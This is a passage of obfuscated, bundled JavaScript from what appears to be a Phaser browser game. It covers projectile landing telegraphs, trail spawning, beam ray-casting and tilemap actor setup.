this['calculateLandingPosition'](); } ['calculateLandingPosition']() { let _0x1bc3ef = null; _0x1bc3ef = 0x0 === this['component']['get']()['gravityScale']() ? this['calculateLandingPositionOfStraightLineProjectile']() : this['calculateLandingPositionOfArcingProjectile'](), null !== _0x1bc3ef && this['store']['update']('landingPosition', _0x1bc3ef); } ['calculateLandingPositionOfStraightLineProjectile']() { const _0x16e49a = this['component']['get']()['translation'](), _0x35c39f = this['component']['get']()['linvel'](), _0x58fc05 = Math['sqrt'](_0x35c39f['x'] ** 0x2 + _0x35c39f['y'] ** 0x2), _0x403bdf = { 'x': _0x35c39f['x'] / _0x58fc05, 'y': _0x35c39f['y'] / _0x58fc05 }, _0x131fff = new _0x2d443d['default']['Ray']({ 'x': _0x16e49a['x'], 'y': _0x16e49a['y'] }, _0x403bdf), _0x2cac31 = this['component']['world']['castRay'](_0x131fff, 0x1388, !0x0, void 0x0, void 0x0, void 0x0, void 0x0, _0x34d71c); if (null !== _0x2cac31) { const _0x32dda7 = _0x131fff['pointAt'](_0x2cac31['toi']); return new _0x1cafa8['Vector'](_0x32dda7['x'], _0x32dda7['y']); } return null; } ['calculateLandingPositionOfArcingProjectile']() { return null; } } _0x129d52['ProjectileTelegraphPositionController'] = _0x31b622; }, 0x2240: (_0x492d6a, _0x442e7f, _0x109300) => { 'use strict'; Object['defineProperty'](_0x442e7f, '__esModule', { 'value': !0x0 }), _0x442e7f['ProjectileTelegraphRenderComponent'] = void 0x0; const _0x561d7a = _0x109300(0x2414), _0x31ac61 = _0x109300(0xb35), _0x397e2d = _0x109300(0x2347), _0x4675d0 = _0x109300(0x1b39), _0x39286f = _0x109300(0x18e5), _0x281f7f = { 'texturePath': 'asset/telegraph', 'circleAssets': [{ 'assetPath': 'telegraph/telegraph_ring_3', 'initialScaleMultiplier': 1.5, 'initialTint': 0xffaaaa, 'targetTint': 0xff2222, 'initialAlpha': 0x0, 'targetAlpha': 0.7, 'rotationDegPerSecond': 0x3c, 'appearanceDelayMS': 0x0, 'appearanceDurationMS': 0x190 }, { 'assetPath': 'telegraph/telegraph_ring_1', 'initialScaleMultiplier': 1.7, 'targetScaleMultiplier': 1.3, 'initialTint': 0xffaaaa, 'targetTint': 0xff2222, 'initialAlpha': 0x0, 'rotationDegPerSecond': -0x1e, 'appearanceDelayMS': 0x12c, 'appearanceDurationMS': 0x190, 'targetAlpha': 0.3 }, { 'assetPath': 'telegraph/telegraph_warning_sign', 'initialScaleMultiplier': 1.5, 'targetScaleMultiplier': 0.65, 'initialTint': 0xffaaaa, 'targetTint': 0xff2222, 'initialAlpha': 0x0, 'targetAlpha': 0.9, 'rotationDegPerSecond': 0x0, 'appearanceDelayMS': 0x96, 'appearanceDurationMS': 0x190, 'flashTint': 0xffaaaa }], 'lineAssets': [{ 'assetPath': 'telegraph/telegraph_line2', 'initialScaleMultiplier': 1.4, 'initialTint': 0xffaaaa, 'targetTint': 0xff2222, 'initialAlpha': 0x0, 'targetAlpha': 0.6, 'appearanceDelayMS': 0x0, 'appearanceDurationMS': 0x190 }] }; class _0x358779 extends _0x561d7a['ActorComponent']{ ['circleImages'] = {};['lineImages'] = {};['tweenHandles'] = {}; constructor(_0xa27412) { super({ ..._0xa27412, 'isRenderComponent': !0x0 }); } ['init']() { this['store']['subscribe']('landingPosition', ({ oldValue: _0x3fe806, newValue: _0xd98776 }) => { null !== _0xd98776 && (this['config']['renderCircle'] && this['createTelegraphCircleImages']((0x0, _0x397e2d['physicsVector2RenderVector'])(_0xd98776)), this['config']['renderLine'] && this['createTelegraphLineImages'](this['store']['get']('renderPosition'), (0x0, _0x397e2d['physicsVector2RenderVector'])(_0xd98776))); }); } ['destroy']() { Object['values'](this['circleImages'])['forEach'](_0x5b2c33 => { _0x5b2c33['destroy'](); }), Object['values'](this['lineImages'])['forEach'](_0x179777 => { _0x179777['destroy'](); }), Object['values'](this['tweenHandles'])['forEach'](_0x3600f5 => { this['scene']['tweens']['remove'](_0x3600f5); }), this['circleImages'] = {}, this['lineImages'] = {}, this['tweenHandles'] = {}; } ['update'](_0x305341) { this['updateCircleImages'](_0x305341), this['updateLineImagesVariant'](_0x305341); } ['updateCircleImages'](_0x51153f) { Object['values'](this['circleImages'])['forEach']((_0x74eeb0, _0x16624f) => { const _0x424438 = _0x281f7f['circleAssets'][_0x16624f]['rotationDegPerSecond'] ?? 0x0; _0x74eeb0['setRotation'](_0x74eeb0['rotation'] + (0x0, _0x4675d0['degToRad'])(_0x424438 * _0x51153f)); }); } ['updateLineImagesVariant'](_0x2009d5) { const _0x308dc8 = this['store']['get']('renderPosition'), _0x522251 = this['store']['get']('landingPosition'); if (!_0x522251) return; const _0x5726ed = (0x0, _0x397e2d['physicsVector2RenderVector'])(_0x522251), _0x2e0b77 = (0x0, _0x39286f['distanceTo'])(_0x308dc8, _0x5726ed), _0x1e817d = Math['atan2'](_0x5726ed['y'] - _0x308dc8['y'], _0x5726ed['x'] - _0x308dc8['x']); Object['values'](this['lineImages'])['forEach'](_0x28db84 => { _0x28db84['setPosition'](_0x308dc8['x'], _0x308dc8['y']), _0x28db84['setRotation'](_0x1e817d), _0x28db84['setDisplaySize'](_0x2e0b77, _0x28db84['displayHeight']); }); } ['createImage'](_0x359785) { const _0x656597 = this['gameContext']['getAnimationConfig'](_0x359785['assetPath']), _0x291d9f = _0x656597['animationConfig']['key'] ? void 0x0 : _0x656597['animationConfig']['staticFrame']; return this['scene']['add']['image'](NaN, NaN, _0x656597['textureName'], _0x291d9f); } ['createTelegraphCircleImages'](_0xd1e670) { _0x281f7f['circleAssets']['forEach'](_0x515242 => { const _0x3e6425 = this['createImage'](_0x515242); _0x3e6425['setPosition'](_0xd1e670['x'], _0xd1e670['y']), _0x3e6425['setRotation'](0x0), _0x3e6425['setTint'](_0x515242['initialTint']), _0x3e6425['setAlpha'](_0x515242['initialAlpha']), _0x3e6425['setVisible'](!0x1), this['setupCircleImageAppearance'](_0x3e6425, _0x515242), this['circleImages'][_0x515242['assetPath']] = _0x3e6425; }); } ['setupCircleImageAppearance'](_0x47cee1, _0x4e53ca) { const _0xf36126 = (0xff0000 & _0x4e53ca['initialTint']) >> 0x10, _0x294c52 = (0xff00 & _0x4e53ca['initialTint']) >> 0x8, _0x3b0a97 = 0xff & _0x4e53ca['initialTint'], _0x55fe8b = (0xff0000 & _0x4e53ca['targetTint']) >> 0x10, _0x5d0536 = (0xff00 & _0x4e53ca['targetTint']) >> 0x8, _0x2d386c = 0xff & _0x4e53ca['targetTint'], _0x1f9e58 = _0x47cee1['displayWidth'] / 0x390 * 0x2, _0x4b4080 = _0x4e53ca['targetScaleMultiplier'] ?? 0x1, _0x415586 = this['config']['physicsRadius'] * _0x4b4080 * _0x31ac61['PhysicsConfig']['TILE_SIZE'] * _0x1f9e58, _0x216845 = _0x415586 * _0x4e53ca['initialScaleMultiplier']; this['gameContext']['timeProvider']['delayAction'](() => { if (!this['scene']) return; _0x47cee1['setVisible'](!0x0); const _0x1ee599 = this['scene']['tweens']['addCounter']({ 'from': 0x0, 'to': 0x1, 'ease': Phaser['Math']['Easing']['Cubic']['In'], 'duration': _0x4e53ca['appearanceDurationMS'], 'onUpdate': _0xbe77bc => { const _0x443530 = _0xbe77bc['getValue'](); _0x47cee1['setAlpha'](_0x443530 * (_0x4e53ca['targetAlpha'] ?? _0x4e53ca['targetAlpha'])); const _0x45a743 = (0x1 - _0x443530) * _0x216845 + _0x443530 * _0x415586; _0x47cee1['setDisplaySize'](_0x45a743, _0x45a743); const _0x29bfbe = Phaser['Display']['Color']['Interpolate']['ColorWithColor'](new Phaser['Display']['Color'](_0xf36126, _0x294c52, _0x3b0a97), new Phaser['Display']['Color'](_0x55fe8b, _0x5d0536, _0x2d386c), 0x64, 0x64 * _0x443530); _0x47cee1['setTint'](Phaser['Display']['Color']['GetColor'](_0x29bfbe['r'], _0x29bfbe['g'], _0x29bfbe['b'])); }, 'onComplete': () => { this['scene']['tweens']['remove'](_0x1ee599), delete this['tweenHandles'][_0x4e53ca['assetPath']], this['maybeCreateFlashTint'](_0x47cee1, _0x4e53ca); } }); this['tweenHandles'][_0x4e53ca['assetPath']] = _0x1ee599; }, _0x4e53ca['appearanceDelayMS']); } ['createTelegraphLineImages'](_0x1fb01a, _0x3a267b) { const _0x5c523d = new _0x39286f['Vector']((_0x1fb01a['x'] + _0x3a267b['x']) / 0x2, (_0x1fb01a['y'] + _0x3a267b['y']) / 0x2), _0x94ea71 = (0x0, _0x39286f['distanceTo'])(_0x1fb01a, _0x3a267b), _0xe54199 = Math['atan2'](_0x3a267b['y'] - _0x1fb01a['y'], _0x3a267b['x'] - _0x1fb01a['x']); _0x281f7f['lineAssets']['forEach'](_0x4b3a9c => { const _0x248d53 = this['createImage'](_0x4b3a9c); _0x248d53['setBlendMode'](Phaser['BlendModes']['ADD']), _0x248d53['setPosition'](_0x5c523d['x'], _0x5c523d['y']), _0x248d53['setRotation'](_0xe54199), _0x248d53['setTint'](_0x4b3a9c['initialTint']), _0x248d53['setAlpha'](_0x4b3a9c['initialAlpha']), _0x248d53['setVisible'](!0x1), _0x248d53['setDisplaySize'](_0x94ea71, _0x248d53['displayHeight']), this['setupLineImageAppearance'](_0x248d53, _0x4b3a9c), this['lineImages'][_0x4b3a9c['assetPath']] = _0x248d53; }); } ['setupLineImageAppearance'](_0x2dc57d, _0x29f388) { const _0x9eaf3a = (0xff0000 & _0x29f388['initialTint']) >> 0x10, _0x16474d = (0xff00 & _0x29f388['initialTint']) >> 0x8, _0x225d7 = 0xff & _0x29f388['initialTint'], _0x559959 = (0xff0000 & _0x29f388['targetTint']) >> 0x10, _0x30b2cc = (0xff00 & _0x29f388['targetTint']) >> 0x8, _0x6ba827 = 0xff & _0x29f388['targetTint']; this['gameContext']['timeProvider']['delayAction'](() => { if (!this['scene']) return; _0x2dc57d['setVisible'](!0x0); const _0x1b851f = this['scene']['tweens']['addCounter']({ 'from': 0x0, 'to': 0x1, 'ease': Phaser['Math']['Easing']['Cubic']['In'], 'duration': _0x29f388['appearanceDurationMS'], 'onUpdate': _0x2e84ff => { const _0x47fa32 = _0x2e84ff['getValue'](); _0x2dc57d['setAlpha'](_0x47fa32 * _0x29f388['targetAlpha']); const _0x5d2222 = Phaser['Display']['Color']['Interpolate']['ColorWithColor'](new Phaser['Display']['Color'](_0x9eaf3a, _0x16474d, _0x225d7), new Phaser['Display']['Color'](_0x559959, _0x30b2cc, _0x6ba827), 0x64, 0x64 * _0x47fa32); _0x2dc57d['setTint'](Phaser['Display']['Color']['GetColor'](_0x5d2222['r'], _0x5d2222['g'], _0x5d2222['b'])); }, 'onComplete': () => { this['scene']['tweens']['remove'](_0x1b851f), delete this['tweenHandles'][_0x29f388['assetPath']], this['maybeCreateFlashTint'](_0x2dc57d, _0x29f388); } }); this['tweenHandles'][_0x29f388['assetPath']] = _0x1b851f; }, _0x29f388['appearanceDurationMS']); } ['maybeCreateFlashTint'](_0x350fec, _0x314566) { if (void 0x0 === _0x314566['flashTint']) return; const _0x112f5f = _0x314566['flashTint'], _0x446565 = (0xff0000 & _0x314566['targetTint']) >> 0x10, _0x1dac3d = (0xff00 & _0x314566['targetTint']) >> 0x8, _0x57075c = 0xff & _0x314566['targetTint'], _0x2cf53c = (0xff0000 & _0x112f5f) >> 0x10, _0x1e9a40 = (0xff00 & _0x112f5f) >> 0x8, _0x47db31 = 0xff & _0x112f5f, _0x526606 = this['scene']['tweens']['addCounter']({ 'from': 0x0, 'to': 0x1, 'duration': 0x64, 'repeat': -0x1, 'yoyo': !0x0, 'onUpdate': _0x2a605f => { const _0x235802 = _0x2a605f['getValue'](), _0x1d05a2 = Phaser['Display']['Color']['Interpolate']['ColorWithColor'](new Phaser['Display']['Color'](_0x2cf53c, _0x1e9a40, _0x47db31), new Phaser['Display']['Color'](_0x446565, _0x1dac3d, _0x57075c), 0x64, 0x64 * _0x235802); _0x350fec['setTint'](Phaser['Display']['Color']['GetColor'](_0x1d05a2['r'], _0x1d05a2['g'], _0x1d05a2['b'])); } }); this['tweenHandles'][_0x314566['assetPath']] = _0x526606; } } _0x442e7f['ProjectileTelegraphRenderComponent'] = _0x358779; }, 0x1175: (_0x563dfa, _0x331b26, _0x36b70b) => { 'use strict'; Object['defineProperty'](_0x331b26, '__esModule', { 'value': !0x0 }), _0x331b26['ProjectileTrailComponent'] = void 0x0; const _0x4e03e6 = _0x36b70b(0x2414), _0x2c145d = _0x36b70b(0x2f5), _0x5d9544 = _0x36b70b(0x221b), _0x323b66 = _0x36b70b(0x1b39), _0x1aa0a5 = _0x36b70b(0x18e5); class _0x110868 extends _0x4e03e6['ActorComponent']{ constructor(_0xdfed32) { super(_0xdfed32); } ['init']() { const _0x489734 = this['config']['projectileTrailConfig']['spawnFirstProjectileOnStart'] ? 0x0 : this['config']['projectileTrailConfig']['intervalMS']; this['store']['update']('timeSinceLastTrailProjectileGeneratedMS', _0x489734); } ['update'](_0x57bbc7) { const _0x31c087 = this['store']['get']('timeSinceLastTrailProjectileGeneratedMS'); _0x31c087 < this['config']['projectileTrailConfig']['intervalMS'] ? this['store']['update']('timeSinceLastTrailProjectileGeneratedMS', _0x31c087 + 0x3e8 * _0x57bbc7) : (this['store']['update']('timeSinceLastTrailProjectileGeneratedMS', 0x0), this['generateTrailProjectile']()); } ['generateTrailProjectile']() { this['createProjectileStandardType'](this['config']['projectileTrailConfig']['trailConfig']); } ['createProjectileStandardType'](_0x225c4b) { const _0x4a5c23 = this['createRandomPositionOffset'](_0x225c4b), _0x5b2cbe = _0x225c4b['positionOffset'] ?? { 'x': 0x0, 'y': 0x0 }, _0x28851d = (0x0, _0x1aa0a5['add'])(this['store']['get']('physicsPosition'), _0x4a5c23), _0x57358b = (0x0, _0x1aa0a5['add'])(_0x28851d, _0x5b2cbe), _0x5e876a = _0x225c4b['retainVelocity'] ? this['getOwnVelocity']() : { 'x': 0x0, 'y': 0x0 }; this['createProjectile'](_0x225c4b, _0x5e876a, _0x57358b); } ['createRandomPositionOffset'](_0x1ebcc4) { return _0x1ebcc4['randomPositionOffset'] ? { 'x': this['gameContext']['rngProvider']['getRandomFloat'](_0x5d9544['EProviderContext']['MAIN'], -_0x1ebcc4['randomPositionOffset'], _0x1ebcc4['randomPositionOffset']), 'y': this['gameContext']['rngProvider']['getRandomFloat'](_0x5d9544['EProviderContext']['MAIN'], -_0x1ebcc4['randomPositionOffset'], _0x1ebcc4['randomPositionOffset']) } : { 'x': 0x0, 'y': 0x0 }; } ['createRandomDirectionOffset'](_0x282750) { return _0x282750['randomDirectionOffset'] ? this['gameContext']['rngProvider']['getRandomFloat'](_0x5d9544['EProviderContext']['MAIN'], -_0x282750['randomDirectionOffset'] / 0x2, _0x282750['randomDirectionOffset'] / 0x2) : 0x0; } ['createProjectile'](_0xb45b, _0x3acca1, _0x2acd97) { const _0x4079af = this['createRandomDirectionOffset'](_0xb45b), _0x590125 = (_0xb45b['retainDirection'] ? this['store']['get']('lookDirection') : 0x0) + (0x0, _0x323b66['degToRad'])((_0xb45b['directionOffset'] ?? 0x0) + _0x4079af), _0x4401d8 = { ...this['getProjectileConfig'](_0xb45b['projectileType']) }, _0x580e8b = _0x2c145d['GAMEPLAY_ACTOR_MAP']['projectile']({ 'scene': this['scene'], 'sceneMessageBus': this['sceneMessageBus'], 'gameMessageBus': this['gameMessageBus'], 'recoilCallback': () => { }, 'world': this['config']['world'], 'gameContext': this['gameContext'], 'tags': this['actor']['getTags'](), 'projectileType': _0xb45b['projectileType'], 'projectileConfig': _0x4401d8, 'projectileVelocity': _0x3acca1, 'damageMultiplier': 0x1, 'initialDirection': _0x590125, 'initialPosition': _0x2acd97, 'ownerActor': this['actor'] }); this['actor']['registerActor'](_0x580e8b); } ['getOwnVelocity']() { const _0x7b7b94 = this['store']['get']('initialBodyVelocity'); return { 'x': _0x7b7b94['x'], 'y': _0x7b7b94['y'] }; } ['getProjectileConfig'](_0x26e014) { return this['gameContext']['getProjectileConfig'](_0x26e014); } } _0x331b26['ProjectileTrailComponent'] = _0x110868; }, 0x1be6: function (_0x4d9900, _0x2306e2, _0x69128f) { 'use strict'; var _0x2d9228 = this && this['__importDefault'] || function (_0x3e5539) { return _0x3e5539 && _0x3e5539['__esModule'] ? _0x3e5539 : { 'default': _0x3e5539 }; }; Object['defineProperty'](_0x2306e2, '__esModule', { 'value': !0x0 }), _0x2306e2['drawRayToObstacle'] = _0x2306e2['succeedsGroundCheck'] = void 0x0; const _0x228bbf = _0x2d9228(_0x69128f(0x9a8)), _0x1a8c7d = _0x69128f(0xb35); function _0x734ce1(_0x414d8e) { const _0x549883 = _0x1a8c7d['PhysicsConfig']['COLLISION_GROUPS']['GROUND'] << 0x10; return 0x0 != (_0x414d8e['collisionGroups']() & _0x549883); } _0x2306e2['succeedsGroundCheck'] = function (_0x2cea3c, _0x563300, _0x59fc06, _0x6f99b1) { const _0x4fe297 = _0x2cea3c['contactPoints'], _0x53e5d2 = _0x563300['getConfig']()['ownerActor']['getFromStore']('physicsPosition') ?? _0x563300['getFromStore']('physicsPosition'), _0x406996 = [..._0x4fe297, _0x59fc06['getFromStore']('physicsPosition')]; let _0xb5e711 = !0x1; for (const _0x389fa9 of _0x406996) { const _0x51b810 = (_0x4cb372 = _0x53e5d2, { 'x': (_0x4cfbb9 = _0x389fa9)['x'] - _0x4cb372['x'], 'y': _0x4cfbb9['y'] - _0x4cb372['y'] }), _0x44a412 = Math['sqrt'](Math['pow'](_0x51b810['x'], 0x2) + Math['pow'](_0x51b810['y'], 0x2)), _0xb470d3 = { 'x': _0x51b810['x'] / _0x44a412, 'y': _0x51b810['y'] / _0x44a412 }, _0x368310 = _0x44a412, _0xff39e8 = new _0x228bbf['default']['Ray'](_0x53e5d2, _0xb470d3), _0x63baf5 = _0x6f99b1['castRay'](_0xff39e8, _0x368310, !0x0, void 0x0, void 0x0, void 0x0, void 0x0, _0x734ce1); if (null === _0x63baf5) { _0xb5e711 = !0x0; break; } { const _0x3e3293 = _0xff39e8['pointAt'](_0x63baf5['toi']); if (_0x3e3293['x'] >= Math['min'](_0x389fa9['x'], _0x53e5d2['x']) && _0x3e3293['x'] <= Math['max'](_0x389fa9['x'], _0x53e5d2['x']) && _0x3e3293['y'] >= Math['min'](_0x389fa9['y'], _0x53e5d2['y']) && _0x3e3293['y'] <= Math['max'](_0x389fa9['y'], _0x53e5d2['y'])) continue; } } var _0x4cfbb9, _0x4cb372; return _0xb5e711; }, _0x2306e2['drawRayToObstacle'] = function (_0x4b7b29) { const _0x42b008 = _0x1b0df2 => { const _0x3c552f = 0x0 != (_0x1b0df2['collisionGroups']() & _0x4b7b29['collisionGroups']), _0x3cba5b = _0x1b0df2['parent']()?.['userData']['actor'], _0x3f5eab = _0x4b7b29['ownerActor'] === _0x3cba5b; return (!_0x3c552f || !_0x3f5eab) && !(!_0x3c552f || _0x3f5eab || _0x1b0df2['isSensor']()); }, _0x16e8cd = Math['sin'](_0x4b7b29['direction']), _0x4c3071 = -Math['cos'](_0x4b7b29['direction']), _0x1f03b9 = Math['sqrt'](_0x16e8cd ** 0x2 + _0x4c3071 ** 0x2), _0x55ba53 = { 'x': _0x16e8cd / _0x1f03b9, 'y': _0x4c3071 / _0x1f03b9 }; let _0x3dc16a = _0x4b7b29['maxLength']; if (_0x4b7b29['rayWidth']) { const _0x258292 = function (_0x1d8fab) { const _0xf79ebe = -_0x1d8fab['normalizedDirection']['y'] * (_0x1d8fab['rayWidth'] / 0x2), _0x548c31 = _0x1d8fab['normalizedDirection']['x'] * (_0x1d8fab['rayWidth'] / 0x2); return { 'leftOrigin': { 'x': _0x1d8fab['originPosition']['x'] - _0xf79ebe, 'y': _0x1d8fab['originPosition']['y'] - _0x548c31 }, 'rightOrigin': { 'x': _0x1d8fab['originPosition']['x'] + _0xf79ebe, 'y': _0x1d8fab['originPosition']['y'] + _0x548c31 }, 'leftEnd': { 'x': _0x1d8fab['originPosition']['x'] - _0xf79ebe + _0x1d8fab['normalizedDirection']['x'] * _0x1d8fab['length'], 'y': _0x1d8fab['originPosition']['y'] - _0x548c31 + _0x1d8fab['normalizedDirection']['y'] * _0x1d8fab['length'] }, 'rightEnd': { 'x': _0x1d8fab['originPosition']['x'] + _0xf79ebe + _0x1d8fab['normalizedDirection']['x'] * _0x1d8fab['length'], 'y': _0x1d8fab['originPosition']['y'] + _0x548c31 + _0x1d8fab['normalizedDirection']['y'] * _0x1d8fab['length'] } }; }({ 'originPosition': _0x4b7b29['originPosition'], 'direction': _0x4b7b29['direction'], 'rayWidth': _0x4b7b29['rayWidth'], 'normalizedDirection': _0x55ba53, 'length': _0x4b7b29['maxLength'] }), _0x45e360 = new _0x228bbf['default']['Ray'](_0x258292['leftOrigin'], _0x55ba53), _0x539661 = new _0x228bbf['default']['Ray'](_0x258292['rightOrigin'], _0x55ba53), _0x12b72b = _0x4b7b29['world']['castRay'](_0x45e360, _0x4b7b29['maxLength'], !0x0, void 0x0, void 0x0, void 0x0, void 0x0, _0x42b008), _0x4c8a68 = _0x4b7b29['world']['castRay'](_0x539661, _0x4b7b29['maxLength'], !0x0, void 0x0, void 0x0, void 0x0, void 0x0, _0x42b008); _0x12b72b && (_0x3dc16a = Math['min'](_0x3dc16a, _0x12b72b['toi'])), _0x4c8a68 && (_0x3dc16a = Math['min'](_0x3dc16a, _0x4c8a68['toi'])); } else { const _0x22027b = new _0x228bbf['default']['Ray'](_0x4b7b29['originPosition'], _0x55ba53), _0x35f364 = _0x4b7b29['world']['castRay'](_0x22027b, _0x4b7b29['maxLength'], !0x0, void 0x0, void 0x0, void 0x0, void 0x0, _0x42b008); _0x35f364 && (_0x3dc16a = _0x35f364['toi']); } const _0x1bc1cc = { 'x': _0x4b7b29['originPosition']['x'] + _0x55ba53['x'] * _0x3dc16a, 'y': _0x4b7b29['originPosition']['y'] + _0x55ba53['y'] * _0x3dc16a }, _0x92ff81 = { 'x': (_0x4b7b29['originPosition']['x'] + _0x1bc1cc['x']) / 0x2, 'y': (_0x4b7b29['originPosition']['y'] + _0x1bc1cc['y']) / 0x2 }; return { 'originPosition': _0x4b7b29['originPosition'], 'endPosition': _0x1bc1cc, 'centerPosition': _0x92ff81, 'rotation': _0x4b7b29['direction'], 'length': _0x3dc16a }; }; }, 0x1b9a: (_0x527374, _0x593413, _0x2f4019) => { 'use strict'; Object['defineProperty'](_0x593413, '__esModule', { 'value': !0x0 }), _0x593413['RigidBodyBeamController'] = void 0x0; const _0x246fce = _0x2f4019(0x1520), _0x2597ae = _0x2f4019(0x1be6); class _0x380f30 extends _0x246fce['ComponentController']{ constructor(_0xaa4478) { super(_0xaa4478); } ['init']() { this['store']['update']('beamMaxLength', this['config']['projectileConfig']['beamMaxLength'] ?? 0x64), this['updateBeamPosition'](); } ['update'](_0x5debf6) { this['updateBeamPosition'](); } ['updateBeamPosition']() { const _0x154ad2 = this['component']['get'](), _0x12df7c = this['actor']['getConfig']()['ownerActor'], _0x48adea = this['store']['get']('beamMaxLength'), _0x46509d = this['store']['get']('physicsPosition'), _0x299c91 = this['store']['get']('lookDirection'), { originPosition: _0x134fe1, centerPosition: _0x461250, endPosition: _0x47a214, rotation: _0x59c1d7, length: _0x3ac105 } = (0x0, _0x2597ae['drawRayToObstacle'])({ 'originPosition': _0x46509d, 'direction': _0x299c91, 'maxLength': _0x48adea, 'rayWidth': this['config']['projectileConfig']['beamWidth'] ?? 0x0, 'world': this['config']['world'], 'collisionGroups': this['config']['collisionGroups'], 'ownerActor': _0x12df7c }); _0x154ad2['setTranslation'](_0x46509d, !0x0), _0x154ad2['setRotation'](_0x59c1d7, !0x0); for (let _0xda1c9d = 0x0; _0xda1c9d < _0x154ad2['numColliders'](); _0xda1c9d++) { const _0x1f7daf = _0x154ad2['collider'](_0xda1c9d), _0x3ffc94 = _0x3ac105 / 0x2 + 0.5; _0x1f7daf['setHalfExtents']({ 'x': _0x1f7daf['shape']['halfExtents']['x'], 'y': _0x3ac105 / 0x2 + 0.5 }), _0x1f7daf['setTranslationWrtParent']({ 'x': 0x0, 'y': -_0x3ffc94 }); } this['config']['stopOnFirstHit'] && _0x3ac105 < _0x48adea && this['store']['update']('beamMaxLength', _0x3ac105), this['store']['update']('beamStartPosition', _0x134fe1), this['store']['update']('beamCenterPosition', _0x461250), this['store']['update']('beamEndPosition', _0x47a214), this['store']['update']('beamRotation', _0x59c1d7), this['store']['update']('beamLength', Math['min'](_0x3ac105, _0x48adea)); } } _0x593413['RigidBodyBeamController'] = _0x380f30; }, 0x6ee: (_0x41a133, _0x2b2903, _0x241a92) => { 'use strict'; Object['defineProperty'](_0x2b2903, '__esModule', { 'value': !0x0 }), _0x2b2903['createMapActor'] = void 0x0; const _0xc41690 = _0x241a92(0x25fa), _0x207742 = _0x241a92(0xcd3), _0x5309b0 = _0x241a92(0x16bc), _0x2b87fb = _0x241a92(0x6d5), _0x1b08da = _0x241a92(0x5d3), _0x56990e = _0x241a92(0x1832), _0x1785c1 = _0x241a92(0xd2e), _0x270ee7 = _0x241a92(0x387), _0x23465e = _0x241a92(0x241a), _0x11bacc = _0x241a92(0x2344), _0x5ef9d6 = _0x241a92(0x2200), _0x592d88 = _0x241a92(0xfe8), _0x379f12 = 'Actor\x20Layer'; _0x2b2903['createMapActor'] = function (_0x549db0) { const _0x4d2ed9 = _0x549db0['scene']['make']['tilemap']({ 'key': _0x549db0['mapConfig']['mapName'] }); _0x549db0['scene']['data']['set']('tileMap', _0x4d2ed9); const _0x35c057 = [new _0x270ee7['MapWeatherComponent']({ 'tileMap': _0x4d2ed9, 'doodadLayerName': _0x549db0['mapConfig']['doodadLayerName'], 'world': _0x549db0['world'], 'rawMapJson': _0x549db0['rawMapJson'] })]; return (0x0, _0x1b08da['runningAsBackend'])() || (_0x35c057['push'](new _0x2b87fb['MapTilesComponent']({ 'tileMap': _0x4d2ed9, 'rawMapJson': _0x549db0['rawMapJson'], 'useLight': !0x0, 'controllers': [] })), _0x549db0['mapConfig']['groundObjectLayers'] && _0x35c057['push'](new _0x23465e['MapGroundObjectsComponent']({ 'tileMap': _0x4d2ed9, 'rawMapJson': _0x549db0['rawMapJson'], 'groundObjectLayers': _0x549db0['mapConfig']['groundObjectLayers'], 'world': _0x549db0['world'] }))), _0x35c057['push'](new _0x207742['MapBodiesComponent']({ 'world': _0x549db0['world'], 'tileMap': _0x4d2ed9, 'mapConfig': _0x549db0['mapConfig'], 'collisionLayerName': _0x549db0['mapConfig']['collisionLayerName'], 'rawMapJson': _0x549db0['rawMapJson'], 'controllers': [new _0x592d88['MapBodiesTogglableController']()] }), new _0x5309b0['MapActorsComponent']({ 'tileMap': _0x4d2ed9, 'world': _0x549db0['world'], 'controllers': [new _0x11bacc['MapActorsSpawnController']({ 'tileMap': _0x4d2ed9, 'actorLayerPrefix': _0x379f12, 'gameContext': _0x549db0['gameContext'] }), new _0x5ef9d6['MapActorsWaveController']({ 'tileMap': _0x4d2ed9, 'actorLayerPrefix': _0x379f12 })] })), new _0xc41690['Actor']({ ..._0x549db0, 'name': 'MAP_ACTOR', 'tags': [_0x56990e['EActorTag']['GROUND']], 'model': { ..._0x1785c1['actorModel'] }, 'components': _0x35c057 }); }; }, 0x16bc: (_0xa1e201, _0x3fc2e2, _0x518677) => { 'use strict'; Object['defineProperty'](_0x3fc2e2, '__esModule', { 'value': !0x0 }), _0x3fc2e2['MapActorsComponent'] = void 0x0; const _0x536c20 = _0x518677(0x512), _0x100f53 = _0x518677(0x18e5), _0x18ccc7 = _0x518677(0x2f5), _0x84575e = _0x518677(0x2414), _0x250c9f = _0x518677(0xb35), _0x528204 = _0x518677(0x403), _0x272965 = _0x518677(0x1805), _0x640c7 = _0x518677(0xd2e), _0x32e175 = _0x518677(0x221b); class _0x40b5d3 extends _0x84575e['ActorComponent']{ ['actorList'] = []; constructor(_0x4a0585) { super(_0x4a0585); } ['createObjectActor'](_0x245396, _0xd6e19e, _0x27b636) { const _0x33ba60 = this['createBaseActorConfig'](_0x245396, _0xd6e19e), _0x46e9d2 = { 'width': _0x245396['width'] ?? 0x0, 'height': _0x245396['height'] ?? 0x0, 'scaleX': (_0x245396['width'] ?? 0x0) / _0x528204['MAP_ACTOR_TILE_SIZE_PX'], 'scaleY': (_0x245396['height'] ?? 0x0) / _0x528204['MAP_ACTOR_TILE_SIZE_PX'], 'rotation': _0x245396['rotation'] ?? 0x0 }, _0x842c0c = this['createActor'](_0x245396, _0x33ba60, _0x27b636, _0x46e9d2); return this['actorList']['push'](_0x842c0c), _0x842c0c; } ['createDelayedSpawnActor'](_0x507dba, _0x416e94, _0x3be769, _0x5f05cf) { const _0x4edc21 = this['createBaseActorConfig'](_0x507dba, _0x416e94); return _0x18ccc7['GAMEPLAY_ACTOR_MAP']['delayedSpawn']({ ..._0x4edc21, 'scene': this['scene'], 'delayedSpawnConfig': _0x5f05cf, 'actorCreationFunction': () => { this['actor']['registerActor'](this['createObjectActor'](_0x507dba, _0x416e94, _0x3be769)); } }); } ['destroy']() { this['actorList']['forEach'](_0x6db300 => _0x6db300['endSceneDestroy']()), this['actorList'] = []; } ['createBaseActorConfig'](_0x3a679f, _0x31efde) { return { 'scene': this['scene'], 'sceneMessageBus': _0x31efde['sceneMessageBus'], 'gameMessageBus': _0x31efde['gameMessageBus'], 'gameContext': _0x31efde['gameContext'], 'initialPosition': new _0x100f53['Vector'](_0x3a679f['x'] / _0x250c9f['PhysicsConfig']['TILE_SIZE'], _0x3a679f['y'] / _0x250c9f['PhysicsConfig']['TILE_SIZE']), 'initialDirection': _0x3a679f['rotation'] || 0x0, 'world': this['config']['world'] }; } ['createActor'](_0xae16b1, _0x36a0ef, _0x2b7bd7, _0x34f7a1) { switch 